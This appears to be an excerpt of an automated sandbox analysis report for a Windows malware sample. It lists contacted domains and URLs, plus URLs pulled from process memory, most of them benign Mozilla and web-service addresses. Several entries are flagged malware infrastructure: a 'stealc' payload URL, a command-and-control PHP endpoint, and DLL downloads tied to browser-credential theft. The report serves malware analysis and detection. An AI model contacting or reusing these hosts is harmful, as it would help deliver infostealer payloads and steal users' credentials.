https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	0%	Avira URL Cloud	safe
https://github.com/google/closure-compiler/issues/3177	0%	Avira URL Cloud	safe
https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help	0%	Avira URL Cloud	safe
http://185.215.113.16/stealc/random.exe395d	100%	Avira URL Cloud	phishing
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	0%	Avira URL Cloud	safe
https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/resource:///modules/UrlbarProviderTopSites	0%	Avira URL Cloud	safe
https://addons.mozilla.org/%LOCALE%/firefox/	0%	Avira URL Cloud	safe
http://85.28.47.31S	0%	Avira URL Cloud	safe
http://85.28.47.31/5499d72b3a3e55be.php2	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
example.org	93.184.215.14	true	false	0%, Virustotal, Browse	unknown
star-mini.c10r.facebook.com	157.240.252.35	true	false	0%, Virustotal, Browse	unknown
prod.classify-client.prod.webservices.mozgcp.net	35.190.72.216	true	false	0%, Virustotal, Browse	unknown
prod.balrog.prod.cloudops.mozgcp.net	35.244.181.201	true	false	0%, Virustotal, Browse	unknown
twitter.com	104.244.42.1	true	false	0%, Virustotal, Browse	unknown
prod.detectportal.prod.cloudops.mozgcp.net	34.107.221.82	true	false	0%, Virustotal, Browse	unknown
services.addons.mozilla.org	143.204.215.105	true	false	0%, Virustotal, Browse	unknown
dyna.wikimedia.org	185.15.59.224	true	false	0%, Virustotal, Browse	unknown
prod.remote-settings.prod.webservices.mozgcp.net	34.149.100.209	true	false	0%, Virustotal, Browse	unknown
contile.services.mozilla.com	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
prod.content-signature-chains.prod.webservices.mozgcp.net	34.160.144.191	true	false	0%, Virustotal, Browse	unknown
youtube-ui.l.google.com	172.217.16.142	true	false	0%, Virustotal, Browse	unknown
us-west1.prod.sumo.prod.webservices.mozgcp.net	34.149.128.2	true	false	0%, Virustotal, Browse	unknown
reddit.map.fastly.net	151.101.193.140	true	false	0%, Virustotal, Browse	unknown
ipv4only.arpa	192.0.0.171	true	false	0%, Virustotal, Browse	unknown
prod.ads.prod.webservices.mozgcp.net	34.117.188.166	true	false	0%, Virustotal, Browse	unknown
normandy-cdn.services.mozilla.com	35.201.103.21	true	false	0%, Virustotal, Browse	unknown
telemetry-incoming.r53-2.services.mozilla.com	34.120.208.123	true	false	0%, Virustotal, Browse	unknown
www.reddit.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
spocs.getpocket.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
content-signature-2.cdn.mozilla.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
support.mozilla.org	unknown	unknown	true	0%, Virustotal, Browse	unknown
firefox.settings.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
push.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.youtube.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.facebook.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
detectportal.firefox.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
normandy.cdn.mozilla.net	unknown	unknown	true	0%, Virustotal, Browse	unknown
shavar.services.mozilla.com	unknown	unknown	true	0%, Virustotal, Browse	unknown
www.wikipedia.org	unknown	unknown	true	0%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://85.28.47.31/8405906461a5200c/vcruntime140.dll	true	17%, Virustotal, Browse Avira URL Cloud: malware	unknown
http://185.215.113.19/Vi9leo/index.php	false	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/softokn3.dll	true	Avira URL Cloud: malware	unknown
http://85.28.47.31/8405906461a5200c/nss3.dll	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://basket.mozilla.org/news/subscribe_sms/	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://play.google.com/store/apps/details?id=org.mozilla.firefox.vpn&referrer=utm_source%3Dfirefox-	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.phpV82	file.exe, 00000000.00000002.2413355386.0000000028B29000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://services.addons.mozilla.org/api/v5/addons/browser-mappings/?browser=%BROWSER%	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://merino.services.mozilla.com/api/v1/suggest	firefox.exe, 0000001C.00000002.2741644582.0000025B37FD7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAEC72000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsusersIncIEEERootCA.cr	7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/spocs	firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordshttps	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://screenshots.firefox.com	firefox.exe, 0000001C.00000002.2756432548.0000025B46757000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2744858280.0000025B44490000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	false	URL Reputation: safe	unknown
https://ads.stickyadstv.com/firefox-etp	firefox.exe, 0000001C.00000002.2776277540.0000025B4910A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://versioncheck-bg.addons.mozilla.org/update/VersionCheck.php?reqVersion=%REQ_VERSION%&id=%ITEM	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.com/exec/obidos/external-search/	firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2769652776.0000025B4884B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682882232.0000025B47F07000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B44524000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683440674.0000025B47F4A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://profiler.firefox.com/	firefox.exe, 0000001C.00000002.2756432548.0000025B4670F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/mozilla-services/screenshots	firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000003.2682651535.0000025B47D00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2757658099.0000025B47870000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001C.00000003.2683095450.0000025B47F29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tracking-protection-issues.herokuapp.com/new	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://spocs.getpocket.com/userDISCOVERY_STREAM_CONFIG_CHANGE	firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/fingerprinters-report	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
http://exslt.org/common	firefox.exe, 0000001C.00000002.2743170489.0000025B43724000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	firefox.exe, 0000001C.00000002.2743170489.0000025B437AD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2810414230.0000025DAECBA000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ok.ru/	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.19/Vi9leo/index.php00	explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dllT	file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/policies/privacy/2	firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
http://exslt.org/dates-and-times	firefox.exe, 0000001C.00000002.2743170489.0000025B43781000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://screenshots.firefox.com/webcompat-reporter	firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://youtube.comQUERY_STRIPPING_STRIP_ON_SHARE	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2200063214.0000000002618000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://getpocket.com/	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://bugzilla.mo	firefox.exe, 0000001C.00000002.2778623851.0000025B49303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.youtube.com/accountfingerprinting-annotationsocialtracking-annotation_isMixedActiveConte	firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.youtube.com/accountC:	firefox.exe, 0000001A.00000002.2673881166.000001E0762D0000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741105723.0000025B37BA0000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4910F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2767695343.0000025B485D3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://spocs.getpocket.com/	firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2749546118.0000025B45303000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2792363422.0000025B4AC7E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2795976288.0000025B4AE89000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2756432548.0000025B46788000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.iqiyi.com/	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://poczta.interia.pl/mh/?mailto=%s_injectDefaultProtocolHandlersIfNeededCan	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.compictureinpicture.settingsbrowser.migration.versionnetwork.proxy.backup.so	firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/8405906461a5200c/freebl3.dllC	file.exe, 00000000.00000002.2386289151.00000000025C7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://fb.me/use-check-prop-typesG	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fb.me/react-polyfillsP	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_PROXY_RESPONSE_HEADERACTIVITY_SUBTYPE	firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://fb.me/react-polyfillsO	firefox.exe, 0000001C.00000002.2746925306.0000025B44600000.00000002.00000001.00040000.00000018.sdmp	false	Avira URL Cloud: safe	unknown
https://yandex.com	firefox.exe, 0000001C.00000002.2806915617.00000BE8B3804000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://monitor.firefox.com/about	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 0000001C.00000002.2781883670.0000025B496C3000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://login.microsoftonline.com	firefox.exe, 0000001C.00000002.2786679292.0000025B499F8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2776277540.0000025B4913D000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.zhihu.com/	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	firefox.exe, 0000001C.00000002.2771448680.0000025B4890C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.19/Vi9leo/index.phpcK2	explorti.exe, 0000000E.00000002.3406205862.0000000001669000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://85.28.47.31/5499d72b3a3e55be.php~	file.exe, 00000000.00000002.2386289151.000000000261A000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001C.00000002.2801668303.0000025B4FC03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001C.00000002.2756432548.0000025B467B1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2760587820.0000025B47D03000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://gpuweb.github.io/gpuweb/	firefox.exe, 0000001C.00000002.2792363422.0000025B4AC70000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001C.00000002.2745803882.0000025B44545000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://getpocket.com/recommendationsDisplays	firefox.exe, 0000001C.00000002.2776277540.0000025B4914D000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.olx.pl/	firefox.exe, 0000001C.00000002.2760587820.0000025B47D5A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.google.com/mail/?extsrc=mailto&url=%sFailed	firefox.exe, 0000001C.00000002.2745803882.0000025B4457C000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001C.00000002.2776079783.0000025B49070000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001C.00000002.2804237535.0000025B50F03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.215.113.16/stealc/random.exe395d	explorti.exe, 0000000E.00000002.3406205862.000000000163C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://support.mozilla.org/kb/firefox-crashes-troubleshoot-prevent-and-get-help	firefox.exe, 0000001C.00000002.2747325810.0000025B44800000.00000002.00000001.00040000.00000019.sdmp	false	Avira URL Cloud: safe	unknown
https://webextensions.settings.services.mozilla.com/v1	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts	firefox.exe, 0000001C.00000002.2793550511.0000025B4ADBD000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/118.0.1/WINNT/en-US/resource:///modules/UrlbarProviderTopSites	firefox.exe, 0000001C.00000002.2776277540.0000025B4911B000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/firefox-relay-integration	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://addons.mozilla.org/%LOCALE%/firefox/	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.avito.ru/	firefox.exe, 0000001C.00000002.2745803882.0000025B445E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2788146637.0000025B49AD0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://85.28.47.31S	659e6df34d.exe, 00000015.00000002.2608427789.00000000026DA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://85.28.47.31/5499d72b3a3e55be.php2	file.exe, 00000000.00000002.2413355386.0000000028B17000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://developers.google.com/safe-browsing/v4/advisory	firefox.exe, 0000001C.00000002.2753636894.0000025B45700000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2811827199.0000025DAED20000.00000002.10000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881	firefox.exe, 0000001C.00000002.2745803882.0000025B44503000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2741644582.0000025B37F03000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07	7bfd2dfdc1.exe, 00000014.00000002.3395235395.0000000000D55000.00000040.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000014.00000000.2485824811.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000000.2652573590.0000000000FF7000.00000080.00000001.01000000.00000011.sdmp, 7bfd2dfdc1.exe, 00000019.00000002.3392559258.0000000000D55000.00000040.00000001.01000000.00000011.sdmp	false	URL Reputation: safe	unknown
